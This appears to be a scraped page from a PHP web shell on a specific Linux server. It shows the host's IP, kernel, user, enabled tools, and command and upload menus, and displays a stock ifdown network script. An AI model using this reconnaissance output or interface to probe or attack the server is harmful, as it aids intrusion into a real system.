Server IP : 172.16.15.8 / Your IP : 18.116.28.164 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /proc/531/../152/../../usr/libexec/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
#!/bin/bash CONFIG="$1" if [ -z "${CONFIG}" ] ; then echo $"Usage: ifdown <device name>" >&2 exit 1 fi usage_and_fail() { cat <<EOF >&2 $1! See all profiles with \`nmcli connection\`. Reload files from disk with \`nmcli connection reload\` Deactivate the desired profile with \`nmcli connection down \"\$NAME\"\` EOF exit 1 } OLD_IFS="$IFS" re='^/etc/sysconfig/network-scripts/ifcfg-[^/]+$' for f in "/etc/sysconfig/network-scripts/ifcfg-$CONFIG" "/etc/sysconfig/network-scripts/$CONFIG" ; do [[ "$f" =~ $re ]] || continue [ -f "$f" ] || continue nmcli connection load "$f" \ && nmcli connection down filename "$f" \ && exit 0 usage_and_fail "Failure to deactivate file \"$CONFIG\"" done IFS=$'\n ' APATHS=( $(nmcli -g GENERAL.DBUS-PATH connection show --active "$CONFIG" 2>/dev/null) ) IFS="$OLD_IFS" if [ "${#APATHS[@]}" -eq 1 ] ; then nmcli connection down apath "${APATHS[0]}" \ && exit 0 usage_and_fail "Failure to deactivate profile \"$CONFIG\" (apath ${APATHS[@]})" fi usage_and_fail "No suitable profile \"$CONFIG\" found"